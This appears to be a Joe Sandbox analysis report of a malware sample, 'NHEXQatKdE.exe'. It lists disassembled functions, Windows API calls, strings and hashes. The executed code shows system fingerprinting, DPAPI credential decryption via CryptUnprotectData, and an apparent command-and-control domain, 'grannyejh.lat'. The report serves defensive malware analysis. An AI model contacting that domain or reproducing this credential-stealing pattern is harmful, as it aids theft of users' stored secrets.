__freea.LIBCMT ref: 006ECA00
__freea.LIBCMT ref: 006ECA0D

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 6355b7ec01272bb924e9f480669679dc7595c0336b99740d770665caab44a030
Instruction ID: 347923db100b643eaad98117692ffe7fbe5c910dbd0acde0c3d056f0b1c90a40
Opcode Fuzzy Hash: 6355b7ec01272bb924e9f480669679dc7595c0336b99740d770665caab44a030
Instruction Fuzzy Hash: 1351A4725023CAAFEB109F66CC42DFB3AABDF44760B25012DFD05D7252EA30DC128665

Function 006EC5CF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,006EC66B,?,006E1809,006E1807,?,?,?,006EC4B3,00000000,FlsAlloc,006F61B0,006F61B8), ref: 006EC5DC
GetLastError.KERNEL32(?,006EC66B,?,006E1809,006E1807,?,?,?,006EC4B3,00000000,FlsAlloc,006F61B0,006F61B8,?,?,006E6855), ref: 006EC5E6
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,006E6855,006E6939,00000003,006E38BB,?,?,?,?,00000000,006E1807,006E1807), ref: 006EC60E

Strings

api-ms-, xrefs: 006EC5F3

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 635a63289acbd1232adfe1778a1cc95eef004b1633f88e9a19df7bdc2613d725
Instruction ID: 2695a1a8c3d116751cb260ddd4c36b9bee1c60ec6d30ab0b71fc1d30c04e837f
Opcode Fuzzy Hash: 635a63289acbd1232adfe1778a1cc95eef004b1633f88e9a19df7bdc2613d725
Instruction Fuzzy Hash: 3DE04870681344B7DF201FA6DC06B6D3B67AF00BD2F105031F90CA85E2D771E815C589

Function 006ECEFF Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 006ECF62

Part of subcall function 006EBC8C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006EC9E3,?,00000000,-00000008), ref: 006EBCED

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006ED1B4
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 006ED1FA
GetLastError.KERNEL32 ref: 006ED29D

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: db0fda45cfa075caff4e33604e3c2cdfe5b067690ea4276a875a00988aba41d8
Instruction ID: 1cc896459c7c58b9b123e7ef5760bccaa746337ff022205452212a70c4b8ec60
Opcode Fuzzy Hash: db0fda45cfa075caff4e33604e3c2cdfe5b067690ea4276a875a00988aba41d8
Instruction Fuzzy Hash: 81D16BB5D012889FCF15CFA9C880AEEBBB6FF49310F28416AE515EB351D630A942CB50

Function 006F009D Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006F0164
___AdjustPointer.LIBCMT ref: 006F0187
___AdjustPointer.LIBCMT ref: 006F0223

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a0c30fd6477b10d81d240149fe2ae3b68de2f426e6e2b280c5ab557c07436929
Instruction ID: 2d780972ffc3ce59dbd9c23b501b600ced7d850b698f5cbbbeac7d11aab22b50
Opcode Fuzzy Hash: a0c30fd6477b10d81d240149fe2ae3b68de2f426e6e2b280c5ab557c07436929
Instruction Fuzzy Hash: 1851DF7260230A9FFB28CF95D851BBA73ABEF00310F24412DEE0156292E731EC85CB90

Function 006EAFB8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 006EBC8C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006EC9E3,?,00000000,-00000008), ref: 006EBCED

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,006EB35E,?,?,?,00000000), ref: 006EB01C
__dosmaperr.LIBCMT ref: 006EB023
GetLastError.KERNEL32(00000000,006EB35E,?,?,00000000,?,?,?,00000000,00000000,?,006EB35E,?,?,?,00000000), ref: 006EB05D
__dosmaperr.LIBCMT ref: 006EB064

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 3a09a0f7c72dff088ea1b71936027e9825277e422d31c7612ab7938b80e9f6e7
Instruction ID: a9be6e614674c57d3befd7757d18ef080a2b761b2113d71766f6d04707c7701a
Opcode Fuzzy Hash: 3a09a0f7c72dff088ea1b71936027e9825277e422d31c7612ab7938b80e9f6e7
Instruction Fuzzy Hash: 3E21AFB1202395AFDB20AFA3888196BB7ABFF00364710841CF86997250DB30FC41CBA1

Function 006EB554 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b4dca759751ab1c6b6e3f86af5973434c9b9b4ccd09ad5054b8a655180c34cb
Instruction ID: 30966dc9e4cc1c0ba569fc0d47df8082977beccdbc2673929cfbd7128ee5ef88
Opcode Fuzzy Hash: 3b4dca759751ab1c6b6e3f86af5973434c9b9b4ccd09ad5054b8a655180c34cb
Instruction Fuzzy Hash: 102193B1202385AFDB20AF67CC819AB77AFEF04364B149529F919D7251EB30EC118794

Function 006EBD88 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 006EBD90

Part of subcall function 006EBC8C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006EC9E3,?,00000000,-00000008), ref: 006EBCED

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 006EBDC8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 006EBDE8

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: a2902f4a73697e4860adc2e761aee85337e619be00ec5d209d9767289ed2feb1
Instruction ID: e55b53eab1c5ad6dcc780777f42b85f194c8097130bcaa297ddcf77ecf625949
Opcode Fuzzy Hash: a2902f4a73697e4860adc2e761aee85337e619be00ec5d209d9767289ed2feb1
Instruction Fuzzy Hash: 2311E1F25073957FA71127F39C89CFF295EDE447D87242428FA0992101EF208D0182B6

Function 006F2950 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,006F1734,00000000,00000001,?,?,?,006ED2F1,?,00000000,00000000), ref: 006F2967
GetLastError.KERNEL32(?,006F1734,00000000,00000001,?,?,?,006ED2F1,?,00000000,00000000,?,?,?,006ECC37,?), ref: 006F2973

Part of subcall function 006F29C4: CloseHandle.KERNEL32(FFFFFFFE,006F2983,?,006F1734,00000000,00000001,?,?,?,006ED2F1,?,00000000,00000000,?,?), ref: 006F29D4

___initconout.LIBCMT ref: 006F2983

Part of subcall function 006F29A5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006F2941,006F1721,?,?,006ED2F1,?,00000000,00000000,?), ref: 006F29B8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,006F1734,00000000,00000001,?,?,?,006ED2F1,?,00000000,00000000,?), ref: 006F2998

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: deef50bd1af7442bf39d045aebaf58814df045485b4142ef89ecd301e8824872
Instruction ID: 7d10ce78634c6f2683d0f72c37064e3da893c0dc933f546fbc5021e3abe67dcc
Opcode Fuzzy Hash: deef50bd1af7442bf39d045aebaf58814df045485b4142ef89ecd301e8824872
Instruction Fuzzy Hash: F4F01C3690011ABBCF222FD2DD18AE93F67FF093A5F155110FA0C86120C672C820EF92

Function 006E2113 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 006E2125
GetCurrentThreadId.KERNEL32 ref: 006E2134
GetCurrentProcessId.KERNEL32 ref: 006E213D
QueryPerformanceCounter.KERNEL32(?), ref: 006E214A

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 68d4693024a65422dcc705b3454e9d525d437dd8ed1908ea9de33c9dbf37690c
Instruction ID: 984ea888b0428a3e9bcc80e2679b4d7d5a150ffb43ea584657bf61ac231781df
Opcode Fuzzy Hash: 68d4693024a65422dcc705b3454e9d525d437dd8ed1908ea9de33c9dbf37690c
Instruction Fuzzy Hash: ACF062B4D1020DEBCB00DBF4DA499AEBBF6EF1C201BA15596A412E7110EB34AB44DB51

Function 006F079A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,006F069B,?,?,00000000,00000000,00000000,?), ref: 006F07BF

Strings

RCC, xrefs: 006F07D9
MOC, xrefs: 006F07D1

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 00dc6aeffbf7d341f489ee91e14065d46af1ab85d14c7ee7199d28017b84c4bb
Instruction ID: bfc52e4aeab4ca6d57117619860e593cb7154bdc249275f7dc10e148640bda76
Opcode Fuzzy Hash: 00dc6aeffbf7d341f489ee91e14065d46af1ab85d14c7ee7199d28017b84c4bb
Instruction Fuzzy Hash: EF416C7190020DEFEF15DF94CD81AEE7BB6BF08344F148159FA1467252D335A950DB91

Function 006F0006 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 006F027D

Strings

csm, xrefs: 006F029F
csm, xrefs: 006F0310

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 44d16d91017c7bebf5afb11ae0c996caec68100e57e60f95735ccbb32fa92ee3
Instruction ID: 83fd420f397b215d36861ed78a651814e2bcfe21d4910e6dbf6ad437a1c1efc0
Opcode Fuzzy Hash: 44d16d91017c7bebf5afb11ae0c996caec68100e57e60f95735ccbb32fa92ee3
Instruction Fuzzy Hash: 6431CF3740021EEBEF228F54CC448BE7B67FB0A715B18855AFA5449223C332CDA1DB91

Analysis Process: NHEXQatKdE.exePID: 4156, Parent PID: 5716COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.2%
Total number of Nodes:	372
Total number of Limit Nodes:	19

Executed Functions

Function 00436980 Relevance: 40.9, APIs: 11, Strings: 12, Instructions: 655
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C), ref: 00436BF0
SysAllocString.OLEAUT32(10401E4F), ref: 00436C79
CoSetProxyBlanket.COMBASE(CDC9F5CC,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00436CB6
SysAllocString.OLEAUT32(02B000B8), ref: 00436D1F
SysAllocString.OLEAUT32(105A1E4E), ref: 00436DE0
VariantInit.OLEAUT32(QJKL), ref: 00436E4B
VariantClear.OLEAUT32(?), ref: 00436FD2
SysFreeString.OLEAUT32(00000000), ref: 00436FF3
SysFreeString.OLEAUT32(?), ref: 00436FF9
SysFreeString.OLEAUT32(00000000), ref: 0043700A
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00437045

Strings

{@8#, xrefs: 00436BB8
3b<d, xrefs: 00436D4F
)MNO, xrefs: 00436A27
vW}Z, xrefs: 00437090
0j6l, xrefs: 00436C16
QJKL, xrefs: 004369CB, 00436A78
7v.H, xrefs: 00436D77
n)`, xrefs: 00436D47
, xrefs: 0043713E, 00437142
8e, xrefs: 00436B3C
zW}Z, xrefs: 004370C0
MN, xrefs: 00436D87

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: n)`$)MNO$0j6l$3b<d$7v.H$8e$MN$QJKL$vW}Z$zW}Z${@8#$
API String ID: 2573436264-1928758774
Opcode ID: e5f7feb958a2fba7e1dba6e17a6dafd2a0e28881f2d43109f9219ad7023b5c9c
Instruction ID: 6c0b44996c03eb0e40192bf62832c839fb6e79de9a0b651ada1dc03bcec214e4
Opcode Fuzzy Hash: e5f7feb958a2fba7e1dba6e17a6dafd2a0e28881f2d43109f9219ad7023b5c9c
Instruction Fuzzy Hash: 79120D72A08351ABD310CF64C880B6BBBE5EFC9314F15892DE9D5AB390D779D805CB86

Function 0042BA22 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 493
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042BB25
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042BB61
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042BC46

Strings

6, xrefs: 0042C041
#v, xrefs: 0042BB25
<], xrefs: 0042BA6A

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: 6$<]$#v
API String ID: 2243422189-1090510124
Opcode ID: 621842a93ff8ced0cfeaf9eb3e87c0fe3c4dcd6c2d54c0bdc1c65954fa12966e
Instruction ID: 1cec2e3dc27d3c0ec5f885a97094761a0063ba2d9d4689993bd0c37c1048aab9
Opcode Fuzzy Hash: 621842a93ff8ced0cfeaf9eb3e87c0fe3c4dcd6c2d54c0bdc1c65954fa12966e
Instruction Fuzzy Hash: 2EE1013160C3D18AE7358F3598517ABBBD2EFD6304F5888AEC0C997283DB794446CB66

Function 00415211 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 450
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004154F7

Strings

<9++, xrefs: 0041555B
&*82, xrefs: 00415550
]YA, xrefs: 00415957

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: &*82$<9++$]YA
API String ID: 834300711-3660485890
Opcode ID: b615abce1cdbb1baa4d73b894295c0cc9965438dc8952df06c44a1f80821f82c
Instruction ID: f8006e6d85f6fd1f6e886fc3354e934eae3bf83ba45ce965c2848f49bcc84732
Opcode Fuzzy Hash: b615abce1cdbb1baa4d73b894295c0cc9965438dc8952df06c44a1f80821f82c
Instruction Fuzzy Hash: 3EE1F1B16087818FC721DF28C8957EBB7E1BFD5314F18892DE4D987392E73888458B56

Function 0042BA1D Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 499
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042BB61
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042BC46

Strings

6, xrefs: 0042C041

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: ComputerName
String ID: 6
API String ID: 3545744682-498629140
Opcode ID: 35fb6bd53f269a9976b984b5939a46a6e00831035cf16ba3f28e60a547999d65
Instruction ID: 38dc4924b77cc4a343e80aef5c707578bfef320e8ba28539a4aee03f9be0fd01
Opcode Fuzzy Hash: 35fb6bd53f269a9976b984b5939a46a6e00831035cf16ba3f28e60a547999d65
Instruction Fuzzy Hash: 58E1152160C3D18AD735CF3998917ABBBD1EF96304F58896EC0C987383DB789446CB96

Function 0040D76F Relevance: 4.9, APIs: 1, Strings: 2, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040D77F

Strings

w@1, xrefs: 0040DA97
grannyejh.lat, xrefs: 0040DB63

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: Uninitialize
String ID: w@1$grannyejh.lat
API String ID: 3861434553-2405751641
Opcode ID: 5a6ede36d1b718381f70dc6588da170c6f117ba54a0749e40254c653adb2b4a0
Instruction ID: 288dab4d58a3fd278ea9672a9f37133dfa3051a537b2e867f60eae80fc95dafa
Opcode Fuzzy Hash: 5a6ede36d1b718381f70dc6588da170c6f117ba54a0749e40254c653adb2b4a0
Instruction Fuzzy Hash: BFB123B5504B818FD715CF6AC490622BFE2FF92314B1985AEC4D29F7A2C778E806CB54

Function 0043D580 Relevance: 2.6, Strings: 2, Instructions: 135COMMON

Download Yara Rule

Strings

SRQP, xrefs: 0043D662
@, xrefs: 0043D644

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID: @$SRQP
API String ID: 2994545307-4103095672
Opcode ID: 8d391f0ae4699896911e2fdc63040c7194b95c35fcf732d27ea9fcce4b061ce9
Instruction ID: 520f662993bbb4e5954ca508543e934ad6b602e8f05b31c4d19d327791254f67
Opcode Fuzzy Hash: 8d391f0ae4699896911e2fdc63040c7194b95c35fcf732d27ea9fcce4b061ce9
Instruction Fuzzy Hash: 3B4104B19043009BDB148F24E84276BB7A1FFC9328F15A62DE4A95B391E738DC15878A

Function 0043B1C0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043D3E8,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B1EE

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040CE98 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

782397A2CDD031F1C683EA0F4CB0333A, xrefs: 0040CF94

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: 782397A2CDD031F1C683EA0F4CB0333A
API String ID: 0-3586103591
Opcode ID: c2416ef642491591abf17dd00908a4992512ceddfa07f6a9ada64141ddd3ac97
Instruction ID: b5017b68631502933e5454ec082f6ea5432ff1a9d16e454ca8222f4872775cb4
